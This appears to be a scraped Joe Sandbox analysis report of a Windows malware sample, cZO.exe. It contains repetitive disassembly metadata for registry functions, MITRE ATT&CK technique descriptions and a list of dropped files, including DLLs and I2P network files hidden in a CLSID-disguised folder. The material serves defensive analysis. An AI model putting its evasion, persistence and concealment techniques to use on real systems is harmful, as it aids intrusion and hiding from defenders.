RegCloseKey.ADVAPI32 ref: 00007FF6BE0360B5

Part of subcall function 00007FF6BE0399E2: fwrite.MSVCRT ref: 00007FF6BE039A8E
Part of subcall function 00007FF6BE0399E2: fflush.MSVCRT ref: 00007FF6BE039A9A

Strings

registry_set_value, xrefs: 00007FF6BE0360CE
[I] (%s) -> Done(root=0x%p,key=%s,param=%s), xrefs: 00007FF6BE0360D5

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [I] (%s) -> Done(root=0x%p,key=%s,param=%s)$registry_set_value
API String ID: 1001908780-3542721600
Opcode ID: 2ec1f107dc612dbc23df36b15b27c5509c6c2f0980d22f21ba96d8f5fe7989fd
Instruction ID: 75cc5b76d21aeb817e44d932fac509d90980534e7b17ef90b4aa798640991213
Opcode Fuzzy Hash: 2ec1f107dc612dbc23df36b15b27c5509c6c2f0980d22f21ba96d8f5fe7989fd
Instruction Fuzzy Hash: DCE09212B1C60786E5209B48F9015792230EB74780F400137FF0EC26A0ED2CD5A5D300

Function 00007FF6BE0360E6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF6BE0360B5

Part of subcall function 00007FF6BE0399E2: fwrite.MSVCRT ref: 00007FF6BE039A8E
Part of subcall function 00007FF6BE0399E2: fflush.MSVCRT ref: 00007FF6BE039A9A

Strings

registry_set_value, xrefs: 00007FF6BE0360CE
[I] (%s) -> Done(root=0x%p,key=%s,param=%s), xrefs: 00007FF6BE0360D5

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [I] (%s) -> Done(root=0x%p,key=%s,param=%s)$registry_set_value
API String ID: 1001908780-3542721600
Opcode ID: c1dca2f90759a8d06f958ba9bdf689a9e618fea2f20c7b751fd119738c401fe0
Instruction ID: 4ebb49abc1e362c5bc3055ac6475bb88f57777f08b2b58167497b06e706b191c
Opcode Fuzzy Hash: c1dca2f90759a8d06f958ba9bdf689a9e618fea2f20c7b751fd119738c401fe0
Instruction Fuzzy Hash: A4E09212B1C60785E6209F08F9015782230EB74780F400136FF4EC25A0ED2CD5E9D300

Function 00007FF6BE035C77 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF6BE035D27

Part of subcall function 00007FF6BE0399E2: fwrite.MSVCRT ref: 00007FF6BE039A8E
Part of subcall function 00007FF6BE0399E2: fflush.MSVCRT ref: 00007FF6BE039A9A

Strings

registry_del_value, xrefs: 00007FF6BE035D40
[I] (%s) -> Done(root=0x%p,key=%s,param=%s), xrefs: 00007FF6BE035D47

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [I] (%s) -> Done(root=0x%p,key=%s,param=%s)$registry_del_value
API String ID: 1001908780-1337547089
Opcode ID: 4c07518f48b1fb61380f18248e14e74fa3f7865503b242d04b4d615c7099220d
Instruction ID: 17b3e31874abd255220bd04245981e7135f2ae893400e484d77c9cf8badbb140
Opcode Fuzzy Hash: 4c07518f48b1fb61380f18248e14e74fa3f7865503b242d04b4d615c7099220d
Instruction Fuzzy Hash: FEE04F62B1C60A85E530AB0CFD516B96234FFB4785F940136FF4EC66A1BE2CE5A5D300

Function 00007FF6BE035C81 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF6BE035D27

Part of subcall function 00007FF6BE0399E2: fwrite.MSVCRT ref: 00007FF6BE039A8E
Part of subcall function 00007FF6BE0399E2: fflush.MSVCRT ref: 00007FF6BE039A9A

Strings

registry_del_value, xrefs: 00007FF6BE035D40
[I] (%s) -> Done(root=0x%p,key=%s,param=%s), xrefs: 00007FF6BE035D47

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [I] (%s) -> Done(root=0x%p,key=%s,param=%s)$registry_del_value
API String ID: 1001908780-1337547089
Opcode ID: 9164b3d6bb9a9877d5514284605c3413762569b8967e0ab0f7f4a42b47ca251c
Instruction ID: 83c7062cd21a7bd806952e317b2ffa2d96fb567fef990dd97cbb985da483eb06
Opcode Fuzzy Hash: 9164b3d6bb9a9877d5514284605c3413762569b8967e0ab0f7f4a42b47ca251c
Instruction Fuzzy Hash: 3CE04F62B1C60A85E530AB0CFD517B96234FFB4785F940136FF4DC66A1AE2CE5A9D300

Function 00007FF6BE035D08 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF6BE035D27

Part of subcall function 00007FF6BE0399E2: fwrite.MSVCRT ref: 00007FF6BE039A8E
Part of subcall function 00007FF6BE0399E2: fflush.MSVCRT ref: 00007FF6BE039A9A

Strings

registry_del_value, xrefs: 00007FF6BE035D40
[I] (%s) -> Done(root=0x%p,key=%s,param=%s), xrefs: 00007FF6BE035D47

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [I] (%s) -> Done(root=0x%p,key=%s,param=%s)$registry_del_value
API String ID: 1001908780-1337547089
Opcode ID: ec246d87bd0e49d55516e5720ef49a5c671df09a73ae3c3485b49518a91bded4
Instruction ID: 645d1b0e0d2796884ce4c3562056ca1e821687bc9143368816584090b3a1e92e
Opcode Fuzzy Hash: ec246d87bd0e49d55516e5720ef49a5c671df09a73ae3c3485b49518a91bded4
Instruction Fuzzy Hash: D8E04851B1C60A45E531AB0CFD516B96234FF74785F540137FF4DC6661AD2CD5A5D300

Function 00007FF6BE035D16 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF6BE035D27

Part of subcall function 00007FF6BE0399E2: fwrite.MSVCRT ref: 00007FF6BE039A8E
Part of subcall function 00007FF6BE0399E2: fflush.MSVCRT ref: 00007FF6BE039A9A

Strings

registry_del_value, xrefs: 00007FF6BE035D40
[I] (%s) -> Done(root=0x%p,key=%s,param=%s), xrefs: 00007FF6BE035D47

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [I] (%s) -> Done(root=0x%p,key=%s,param=%s)$registry_del_value
API String ID: 1001908780-1337547089
Opcode ID: dc6b50ce2298b158b26909bf1de2eccee86945605b1ab18de0fe65fba1480f47
Instruction ID: 66f9ed7bdf0f196a01bf18dbfb0bec35c5648c097635ae47e60c2644b644ba86
Opcode Fuzzy Hash: dc6b50ce2298b158b26909bf1de2eccee86945605b1ab18de0fe65fba1480f47
Instruction Fuzzy Hash: 8AE04F62B1C60A85E530AB4CFD516B96234FFB4785F940137FF4EC66A1AE2CE5A5D300

Function 00007FF6BE035D58 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF6BE035D27

Part of subcall function 00007FF6BE0399E2: fwrite.MSVCRT ref: 00007FF6BE039A8E
Part of subcall function 00007FF6BE0399E2: fflush.MSVCRT ref: 00007FF6BE039A9A

Strings

registry_del_value, xrefs: 00007FF6BE035D40
[I] (%s) -> Done(root=0x%p,key=%s,param=%s), xrefs: 00007FF6BE035D47

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [I] (%s) -> Done(root=0x%p,key=%s,param=%s)$registry_del_value
API String ID: 1001908780-1337547089
Opcode ID: 47daa21c1b49792b1cfee7d0869f08c74388d9fa4a7c18e04e85d52a11cece09
Instruction ID: aafddba9e6ecb0a0fae65e4841e0770dc74397f4ae34663f6ee21230fa7ea3eb
Opcode Fuzzy Hash: 47daa21c1b49792b1cfee7d0869f08c74388d9fa4a7c18e04e85d52a11cece09
Instruction Fuzzy Hash: 7BE04861B1C60A45E520AB0CFD516B96234FF74785F540136FF4EC6661AD2CD5E5D300

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Tactics:	Persistence
Data Sources:	Command: Command Execution, Process: Process Creation, User Account: User Account Creation
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use hidden users to hide the presence of user accounts they create or modify. Administrators may want to hide users when there are many user accounts on a given system or if they want to hide their administrative or other management accounts from other users.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, User Account: User Account Creation, User Account: User Account Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report cZO.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_main.exe_59e5c191145a7e657df69e5cbadfff4911e783_61e28721_44ed98c1-fa7d-497f-b5ef-71a509acd2a0\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7EC2.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER81FF.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER823E.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER826B.tmp.csv

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8318.tmp.txt

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\cnccli.dll

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\cnccli.log

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\config.ini

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\dwlmgr.dll

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\dwlmgr.log

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\evtsrv.dll

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\evtsrv.log

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p.conf

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p.su3

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p\destinations\3rbwjviovpvlss4v5vg6yucxk5grzke5s7a6hwvtd5djkqwysxiq.dat

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p\destinations\73dgiurxbvpdyy6mhowkfkagl333wom66crad6c3wxcux4d2l4xq.dat

Windows Analysis Report
cZO.exe

Description:	Adversaries may sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.
Tactics:	Credential Access, Discovery
Data Sources:	Command: Command Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as `sc query` , `tasklist /svc` , `systemctl --type=service` , and `net start` .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre